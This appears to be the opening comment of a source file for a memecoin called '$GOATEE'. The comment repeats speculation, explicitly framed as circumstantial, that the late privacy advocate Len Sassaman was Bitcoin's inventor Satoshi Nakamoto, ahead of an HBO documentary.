/*

Len Sassaman, aka HBO's Satoshi Nakamoto, had a beard aka the $GOATEE.

Deceased computer scientist and privacy advocate Len Sassaman is unexpectedly in the limelight as bettors speculate on the upcoming HBO documentary that advertises itself as revealing the identity of the inventor of Bitcoin.

There is circumstantial evidence to support the theory that Sassaman was Nakamoto. Sassaman left behind an impressive list of publications, conference presentations and other academic activity — certainly enough to convince a nonspecialist of his capability of inventing Bitcoin. He was a member of the International Financial Cryptography Association and regularly spoke on financial cryptography.

Among other circumstantial evidence, linguistic analysis provides evidence that Sassaman could be Bitcoin’s inventor. Nakamoto went silent two months before Sassaman’s death.
